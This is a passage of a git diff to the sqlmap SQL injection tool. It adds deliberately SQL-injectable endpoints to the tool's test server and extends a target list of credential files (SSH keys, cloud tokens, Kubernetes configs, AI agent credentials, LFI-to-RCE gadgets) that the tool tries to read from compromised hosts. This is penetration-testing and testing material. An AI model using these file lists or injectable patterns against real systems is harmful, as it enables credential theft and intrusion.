diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 98dedd5cd..9955c1ad2 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -97,13 +97,14 @@ jobs: - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" - - name: Install optional test deps (lxml, jinja2) + - name: Install optional test deps (lxml, jinja2, h2, cryptography) # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test # endpoints) skip themselves when the engine is unavailable, so these deps are only needed - # on the Py3 jobs. + # on the Py3 jobs. Same for h2/cryptography (vulnserver's HTTP/2 endpoint for --timeless and + # the reference-peer checks in test_http2). if: matrix.python-version != 'pypy-2.7' - run: python -m pip install -q lxml jinja2 + run: python -m pip install -q lxml jinja2 h2 cryptography - name: Unit tests # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__ diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 1e378d3c4..97c218e53 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1818,6 +1818,8 @@ /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /run/secrets/kubernetes.io/serviceaccount/ca.crt +/etc/kubernetes/admin.conf +/etc/kubernetes/kubelet.conf # Cloud provider credentials @@ -1825,7 +1827,9 @@ /root/.aws/config /root/.config/gcloud/application_default_credentials.json /root/.config/gcloud/credentials.db +/root/.config/gcloud/access_tokens.db /root/.azure/accessTokens.json +/root/.azure/credentials /root/.kube/config # SSH keys and DB/tool history @@ -1834,6 +1838,10 @@ /root/.ssh/id_ed25519 /root/.ssh/id_ecdsa /root/.ssh/id_dsa +/root/.ssh/config +/etc/ssh/ssh_host_rsa_key +/etc/ssh/ssh_host_ed25519_key +/etc/ssh/ssh_host_ecdsa_key /root/.mysql_history /root/.psql_history /root/.rediscli_history @@ -1852,3 +1860,60 @@ /app/application.properties /app/application.yml /app/docker-compose.yml + +# Developer, package manager and DBMS credential files + +/root/.env +/root/.netrc +/root/.git-credentials +/root/.npmrc +/root/.pypirc +/root/.docker/config.json +/root/.config/gh/hosts.yml +/root/.config/op/config +/root/.my.cnf +/etc/mysql/debian.cnf + +# Hosting control panels + +/etc/psa/.psa.shadow +/etc/psa/private/secret_key + +# AI agent credentials + +/root/.claude/.credentials.json +/root/.claude.json +/root/.codex/auth.json +/root/.config/anthropic/config.json + +# Secrets in the default user's home on common cloud images + +/home/ubuntu/.ssh/id_rsa +/home/ubuntu/.aws/credentials +/home/ubuntu/.kube/config +/home/ubuntu/.git-credentials +/home/ubuntu/.claude/.credentials.json +/home/debian/.ssh/id_rsa +/home/debian/.aws/credentials +/home/debian/.kube/config +/home/debian/.git-credentials +/home/admin/.ssh/id_rsa +/home/admin/.aws/credentials +/home/admin/.kube/config +/home/admin/.git-credentials +/home/ec2-user/.ssh/id_rsa +/home/ec2-user/.aws/credentials +/home/ec2-user/.kube/config +/home/ec2-user/.git-credentials +/home/centos/.ssh/id_rsa +/home/centos/.aws/credentials +/home/centos/.kube/config +/home/opc/.ssh/id_rsa +/home/opc/.aws/credentials +/home/opc/.kube/config + +# Appliance and LFI-to-RCE gadget targets + +/dev/cmdb/sslvpn_websession +/usr/share/php/pearcmd.php +/usr/local/lib/php/pearcmd.php diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index b348a1c93..d8564abb9 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -1227,7 +1227,8 @@ class ReqHandler(BaseHTTPRequestHandler): params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data))) else: self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';' - params.update(parse_qs(self.data)) + # Note: parsing the raw (i.e. not yet URL decoded) body, otherwise encoded '&'/'=' inside values would split them + params.update(parse_qs((getattr(self, "rawData", None) or self.data).replace(';', '&'))) for name in self.headers: params[name.lower()] = self.headers[name] @@ -1491,6 +1492,22 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(json.dumps({"error": {"message": str(ex)}}).encode(UNICODE_ENCODING)) return + if self.url == "/list": + # VULNERABLE: listing page whose (number of) rows depends on the injected 'min' value (e.g. for --multi-bit) + try: + with _lock: + _cursor.execute("SELECT id,name FROM users WHERE id>%s ORDER BY id" % self.params.get("min", "0")) + rows = _cursor.fetchall() + output = "" % "".join("
  • %s
  • " % (row[0], row[1]) for row in rows) + except Exception: + output = "error" + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == "/echo": # A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every # non-SQL switch must stay silent here. A differential built on "the page changed" is @@ -1748,7 +1765,8 @@ class ReqHandler(BaseHTTPRequestHandler): length = int(self.headers.get("Content-length", 0)) if length: data = self.rfile.read(length) - data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore")) + self.rawData = data.decode(UNICODE_ENCODING, "ignore") + data = unquote_plus(self.rawData) self.data = data elif self.headers.get("Transfer-encoding") == "chunked": data, line = b"", b"" @@ -1774,6 +1792,114 @@ class ReqHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): return +def run_h2(address=LISTEN_ADDRESS, port=LISTEN_PORT + 1): + """ + Optional HTTP/2 (TLS) endpoint '/?id=1' (e.g. for --http2/--timeless), requiring 'h2' and 'cryptography' + Note: each stream is answered on its own thread with its own database connection (i.e. in order of completion) + """ + + import datetime + import socket + import ssl + + import h2.config + import h2.connection + import h2.events + + from cryptography import x509 + from cryptography.hazmat.primitives import hashes + from cryptography.hazmat.primitives import serialization + from cryptography.hazmat.primitives.asymmetric import ec + from cryptography.x509.oid import NameOID + + key = ec.generate_private_key(ec.SECP256R1()) + name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"localhost")]) + now = datetime.datetime.utcnow() + cert = x509.CertificateBuilder().subject_name(name).issuer_name(name).public_key(key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(now - datetime.timedelta(days=1)).not_valid_after(now + datetime.timedelta(days=1)).sign(key, hashes.SHA256()) + + handle, certFile = tempfile.mkstemp(suffix=".pem") + os.close(handle) + with open(certFile, "wb") as f: + f.write(cert.public_bytes(serialization.Encoding.PEM)) + f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())) + + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(certFile) + context.set_alpn_protocols(["h2"]) + local = threading.local() + + def _respond(conn, lock, sock, streamId, path): + if not hasattr(local, "db"): + local.db = sqlite3.connect(":memory:") + local.db.executescript(SCHEMA) + + try: + value = parse_qs(path.split('?', 1)[-1] if '?' in path else "").get("id", ["1"])[-1] + rows = local.db.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % value).fetchall() + status, body = "200", "%s" % "".join("%s" % _ for row in rows for _ in row) + except Exception as ex: + status, body = "500", "error: %s" % ex + + body = body.encode(UNICODE_ENCODING) + + with lock: + conn.send_headers(streamId, [(":status", status), ("content-length", str(len(body))), ("content-type", "text/html")]) + conn.send_data(streamId, body, end_stream=True) + sock.sendall(conn.data_to_send()) + + def _serve(sock): + conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=False)) + lock = threading.Lock() + paths = {} + + conn.initiate_connection() + sock.sendall(conn.data_to_send()) + + try: + while True: + data = sock.recv(65535) + if not data: + break + + with lock: + events = conn.receive_data(data) + sock.sendall(conn.data_to_send()) + + for event in events: + if isinstance(event, h2.events.RequestReceived): + paths[event.stream_id] = dict((_[0].decode() if isinstance(_[0], bytes) else _[0], _[1].decode() if isinstance(_[1], bytes) else _[1]) for _ in event.headers).get(":path", "/") + elif isinstance(event, h2.events.StreamEnded): + thread = threading.Thread(target=_respond, args=(conn, lock, sock, event.stream_id, paths.pop(event.stream_id, "/"))) + thread.daemon = True + thread.start() + except Exception: + pass + finally: + sock.close() + + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.settimeout(None) # Note: independent of (e.g. sqlmap's) default socket timeout, which would end the accept loop once idle + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((address, port)) + server.listen(50) + + while True: + try: + client, _ = server.accept() + except socket.error: + continue + + try: + client.settimeout(None) + client = context.wrap_socket(client, server_side=True) + except Exception: + client.close() + continue + + thread = threading.Thread(target=_serve, args=(client,)) + thread.daemon = True + thread.start() + def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): global _alive global _server diff --git a/lib/controller/action.py b/lib/controller/action.py index 531dfa722..01be69310 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -9,6 +9,7 @@ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBWrite +from lib.core.common import splitFields from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -47,7 +48,7 @@ def action(): # automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried # first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from # the error page or the heuristic checks, so that the user still gets a usable result - if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms(): + if kb.wafBypass and not conf.forceDbms and not conf.esperanto and not Backend.getIdentifiedDbms(): # Note: --esperanto does its own (generic) back-end identification fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) if fallback: @@ -251,7 +252,7 @@ def action(): raise if conf.sqlQuery: - for query in conf.sqlQuery.strip(';').split(';'): + for query in splitFields(conf.sqlQuery.strip(';'), delimiter=';'): # Note: e.g. "SELECT 'a;b'" is a single statement query = query.strip() if query: conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query)) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 0b1cb2c0d..2413233d0 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -636,7 +636,7 @@ def start(): skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3)) # --param-filter - skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) + skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter and place.upper().replace("(CUSTOM) ", "") not in conf.paramFilter) # Note: e.g. POST for JSON/XML (i.e. '(custom) POST') too # Test Host header only if # --level >= 5 @@ -711,7 +711,7 @@ def start(): infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) logger.info(infoMsg) - elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)): + elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(r"\A(?:%s)\Z" % conf.paramExclude, place, re.I)): # Note: place (e.g. 'Cookie') has to be fully matched (e.g. 'ge' must not exclude 'GET') testSqlInj = False infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) diff --git a/lib/core/agent.py b/lib/core/agent.py index 455e44f35..d38765dea 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -5,6 +5,7 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import json import re from lib.core.common import Backend @@ -29,6 +30,7 @@ from lib.core.common import zeroDepthSearch from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import queries @@ -137,6 +139,7 @@ class Agent(object): paramString = conf.parameters[place] paramDict = conf.paramDict[place] origValue = getUnicode(paramDict[parameter]) + lookupValue = None newValue = getUnicode(newValue) if newValue else newValue try: # Dirty patch for Python 3.14.7 re.sub() regression (e.g. https://github.com/sqlmapproject/sqlmap/issues/6128) @@ -160,12 +163,21 @@ class Agent(object): elif place == PLACE.CUSTOM_POST: paramString = origValue origValue = origValue.split(kb.customInjectionMark)[0] + # Note: original value is taken in its raw (decoded) form, as the whole payload (including it) gets (re)encoded later on (connect.py) if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = re.split(r"['\">]", origValue)[-1] + lookupValue = origValue + origValue = htmlUnescape(origValue) if '&' in origValue else origValue elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]", origValue) quote = match.group(0) if match else '"' origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) + lookupValue = origValue + if quote == '"' and kb.postHint != POST_HINT.JSON_LIKE and '\\' in (origValue or ""): + try: + origValue = json.loads('"%s"' % origValue) + except ValueError: + pass else: _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" origValue = _.split('=', 1)[1] if '=' in _ else _ @@ -233,7 +245,7 @@ class Agent(object): origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark) + _ = "%s%s" % (_origValue if base64Encoding else (origValue if lookupValue is None else lookupValue), kb.customInjectionMark) # Note: raw value (as found in the request) for the lookup if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) @@ -278,14 +290,17 @@ class Agent(object): retVal = string[:match.start()] + repl + string[match.end():] return retVal + # Note: parameter name has to start right after a delimiter (e.g. '-p id' must not match inside 'x-id=1') + boundary = r"(\A|(?<=[%s\s]))" % re.escape("%s%s%s%s" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER, conf.paramDel or "", conf.cookieDel or "")) + if origValue: - regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") + regex = r"%s%s=%s%s" % (boundary, re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) else: - retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) + retVal = _(r"%s%s=%s(\Z|%s|%s|\s)" % (boundary, re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) if retVal == paramString and urlencode(parameter) != parameter: - retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) + retVal = _(r"%s%s=%s" % (boundary, re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') @@ -670,6 +685,10 @@ class Agent(object): if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I): fieldsMinMaxstr = None + # Note: shortcut is meant only for a single MIN()/MAX() field (e.g. 'SELECT MAX(id),MIN(id) FROM users' has two) + if fieldsMinMaxstr and fieldsSelectFrom and len(splitFields(fieldsSelectFrom.group(1))) > 1: + fieldsMinMaxstr = None + fieldsToCastStr = fieldsNoSelect if fieldsSubstr: @@ -698,8 +717,8 @@ class Agent(object): fieldsToCastStr = fieldsToCastStr or "" - # Function - if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: + # Function (Note: a single one - e.g. 'MAX(id),MIN(id)' are two fields) + if (re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) and len(splitFields(fieldsToCastStr)) == 1) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) @@ -1062,9 +1081,13 @@ class Agent(object): startLimit = 0 stopLimit = None limitCond = True + limitClause = None topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I) + # Note: Microsoft SQL Server 2012+ paging (e.g. 'ORDER BY id OFFSET 2 ROWS FETCH NEXT 2 ROWS ONLY') + offsetFetch = re.search(r"(?i)\s+OFFSET\s+(?P\d+)\s+ROWS?\s+FETCH\s+(?:NEXT|FIRST)\s+(?P\d+)\s+ROWS?\s+ONLY", expression) if Backend.isDbms(DBMS.MSSQL) else None + limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"): @@ -1078,7 +1101,7 @@ class Agent(object): # ClickHouse) and per-row extraction (blind/error) reads bogus offsets - only UNION was unaffected. limitOffsetAppendDbmses = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA) - if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): + if (limitRegExp or limitRegExp2 or offsetFetch) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query @@ -1092,10 +1115,20 @@ class Agent(object): # Note: query2 (LIMIT without OFFSET) always has exactly one group (the # count); using limitGroupStart here would IndexError for H2 (groupstart=2) stopLimit = limitRegExp2.group(1) + + # Note: standard 'LIMIT n OFFSET m' (or 'OFFSET m LIMIT n') isn't (fully) covered by limitregexp (e.g. OFFSET was silently ignored on MySQL) + limitClause = re.search(r"(?i)\s+LIMIT\s+(?P\d+)\s+OFFSET\s+(?P\d+)", expression) or re.search(r"(?i)\s+OFFSET\s+(?P\d+)\s+LIMIT\s+(?P\d+)", expression) + if limitClause: + startLimit, stopLimit = int(limitClause.group("start")), limitClause.group("stop") + limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - if limitRegExp: + if offsetFetch: + startLimit = int(offsetFetch.group("start")) + stopLimit = offsetFetch.group("stop") + limitCond = int(stopLimit) > 1 + elif limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query @@ -1116,14 +1149,16 @@ class Agent(object): # (or equivalent depending on the back-end DBMS) can return # multiple entries if limitCond: - if (limitRegExp or limitRegExp2) and stopLimit is not None: + if (limitRegExp or limitRegExp2 or offsetFetch) and stopLimit is not None: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or equivalent, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses: stopLimit += startLimit - if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: + if limitClause: + _ = limitClause.start() + elif expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) else: _ = re.search(r"\bLIMIT\b", expression, re.I).start() @@ -1131,6 +1166,8 @@ class Agent(object): elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit + if offsetFetch: + expression = expression[:offsetFetch.start()] elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 @@ -1251,6 +1288,11 @@ class Agent(object): orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] + # Note: Microsoft SQL Server 2012+ (and Azure) supports OFFSET/FETCH (row position based), while the (old) NOT IN forging is value based (i.e. collapses duplicate values) + if Backend.isDbms(DBMS.MSSQL) and (Backend.isVersionGreaterOrEqualThan("2012") or Backend.isVersionWithin(("Azure",))) and not re.search(r"(?i)\A(SELECT\s+)?(TOP|DISTINCT)\b", limitedQuery): + limitedQuery = "%s%s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" % (limitedQuery, orderBy or " ORDER BY %s" % (uniqueField or '1'), num) + return limitedQuery + notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) for notDistinct in notDistincts: diff --git a/lib/core/common.py b/lib/core/common.py index dcb60caad..0c3078237 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1681,10 +1681,14 @@ def parseTargetDirect(): for dbms in SUPPORTED_DBMS: details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_~\-\/\\]*)$" % dbms, conf.direct, re.I) + # Note: database file path of a file-based DBMS (e.g. SQLite) can contain (almost) any character (e.g. '/tmp/my dir (old)/t.db') + if not details and dbms in DBMS_DICT[DBMS.SQLITE][0] + DBMS_DICT[DBMS.ACCESS][0]: + details = re.search(r"^(?P%s)://(?P.+)$" % re.escape(dbms), conf.direct, re.I) + if details: conf.dbms = details.group("dbms") - if details.group("credentials"): + if details.groupdict().get("credentials"): conf.dbmsUser = details.group("user").strip("'\"") conf.dbmsPass = details.group("pass").strip("'\"") else: @@ -1697,7 +1701,7 @@ def parseTargetDirect(): if not conf.dbmsPass: conf.dbmsPass = None - if details.group("remote"): + if details.groupdict().get("remote"): remote = True conf.hostname = details.group("hostname").strip() conf.port = int(details.group("port")) @@ -3236,7 +3240,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ if conf.harFile: - conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) + conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime, scheme=conf.scheme) if conf.trafficFile: with kb.locks.log: @@ -3634,7 +3638,7 @@ def isDBMSVersionAtLeast(minimum): return retVal -def parseSqliteTableSchema(value): +def parseSqliteTableSchema(value, tbl=None): """ Parses table column names and types from specified SQLite table schema @@ -3673,9 +3677,9 @@ def parseSqliteTableSchema(value): continue retVal = True - columns[column] = match.group(3) or "TEXT" + columns[safeSQLIdentificatorNaming(column)] = match.group(3) or "TEXT" # Note: stored escaped, as by all other column enumeration paths (e.g. 'my col' -> '`my col`') - table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns + table[safeSQLIdentificatorNaming(tbl or conf.tbl, True)] = columns if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[conf.db].update(table) else: @@ -4066,7 +4070,7 @@ def decodeIntToUnicode(value): """ retVal = value - if isinstance(value, int): + if isinstance(value, six.integer_types): try: if value > 255: _ = "%x" % value @@ -5078,6 +5082,9 @@ def findPageForms(content, url, raiseException=False, addToTargets=False): data = data.strip("['\"]") retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) + # Note: same filtering for forms found inside scripts (e.g. jQuery's $.post(...)) as for regular ones + retVal = set(_ for _ in retVal if not (conf.crawlExclude and re.search(conf.crawlExclude, _[0]) or conf.scope and not re.search(conf.scope, _[0], re.I) or not checkSameHost(response.geturl(), _[0]))) + if not retVal and not conf.crawlDepth: errMsg = "there were no forms found at the given target URL" if raiseException: @@ -5138,12 +5145,12 @@ def getHostHeader(url): retVal = url if url: - retVal = _urllib.parse.urlparse(url).netloc + parsed = _urllib.parse.urlparse(url) + retVal = parsed.netloc + defaultPort = {"http": 80, "https": 443, "ws": 80, "wss": 443}.get(parsed.scheme.lower()) - # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are - # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports - # (e.g. '[::1]:8080') as required by RFC 7230 - if any(retVal.endswith(':%d' % _) for _ in (80, 443)): + # Keep non-default ports, including 80 on HTTPS and 443 on HTTP. + if defaultPort is not None and retVal.endswith(':%d' % defaultPort): retVal = retVal[:retVal.rfind(':')] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): @@ -5386,7 +5393,7 @@ def hashDBWrite(key, value, serialize=False): """ if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else ("%s:%s" % (conf.port, conf.dbmsDb) if conf.direct else conf.port), key, HASHDB_MILESTONE_VALUE)) # Note: in case of direct connection, database (e.g. SQLite file) is part of the key conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): @@ -5397,7 +5404,7 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False): retVal = None if conf.hashDB: - _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) + _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else ("%s:%s" % (conf.port, conf.dbmsDb) if conf.direct else conf.port), key, HASHDB_MILESTONE_VALUE)) # Note: in case of direct connection, database (e.g. SQLite file) is part of the key retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): @@ -5438,7 +5445,7 @@ def resetCookieJar(cookieJar): cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: - if getattr(cookie, "expires", MAX_INT) < time.time(): + if (getattr(cookie, "expires", None) or MAX_INT) < time.time(): # Note: session cookies have 'expires' set to None warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) @@ -5645,7 +5652,7 @@ def pollProcess(process, suppress_errors=False): def parseRequestFile(reqFile, checkParams=True): """ - Parses WebScarab and Burp logs and adds results to the target URL list + Parses WebScarab, Burp and HAR logs and adds results to the target URL list >>> handle, reqFile = tempfile.mkstemp(suffix=".req") >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" @@ -5689,7 +5696,23 @@ def parseRequestFile(reqFile, checkParams=True): Parses Burp logs """ - if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): + if re.search(r"\A\s*\{.*\"entries\"", content[:1000], re.S): + reqResList = [] + try: + entries = json.loads(content)["log"]["entries"] + except (ValueError, KeyError, TypeError): + entries = [] + for entry in entries: # Note: HAR (HTTP Archive) logs (e.g. ZAP, browsers) - re-serialized into raw requests + try: + request = entry["request"] + url = request["url"] + headers = [(_["name"], _["value"]) for _ in request.get("headers", []) if not _["name"].startswith(':')] + if not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in headers): + headers.insert(0, (HTTP_HEADER.HOST, _urllib.parse.urlsplit(url).netloc)) + reqResList.append("%s %s HTTP/1.1\n%s\n\n%s" % (request["method"], url, "\n".join("%s: %s" % _ for _ in headers), (request.get("postData") or {}).get("text") or "")) + except (KeyError, TypeError, AttributeError): + continue + elif not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): @@ -5725,6 +5748,12 @@ def parseRequestFile(reqFile, checkParams=True): else: scheme, port = None, None + # Note: Burp's entry header line (e.g. '16:20:47 https://www.target.com:443 [1.2.3.4]') is right above the request's separator + if not isinstance(match, six.string_types): + _ = re.search(r"(?Phttps?)://[^\s/]+:(?P\d+)\s+\[[^\]]*\]\s*\Z", content[:match.start()].rstrip("=\r\n\t "), re.I) + if _: + scheme, port = _.group("scheme"), _.group("port") + if "HTTP/" not in request: continue @@ -5777,6 +5806,10 @@ def parseRequestFile(reqFile, checkParams=True): elif "?" in line and "=" in line and ": " not in line: params = True + # HTTP/2 pseudo-headers (e.g. ':authority') + elif line.startswith(':'): + continue + # Headers elif re.search(r"\A\S+:", line): key, value = line.split(":", 1) @@ -5791,16 +5824,17 @@ def parseRequestFile(reqFile, checkParams=True): # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): - cookie = value + cookie = "%s; %s" % (cookie, value) if cookie else value # Note: (e.g. HTTP/2) cookies can be split into multiple headers elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: scheme, value = value.split('://')[:2] - port = extractRegexResult(r":(?P\d+)\Z", value) - if port: + _ = extractRegexResult(r":(?P\d+)\Z", value) + if _: + port = _ host = value[:-(1 + len(port))] else: - host = value + host = value # Note: keeping port (if any) from e.g. Burp's entry header line # 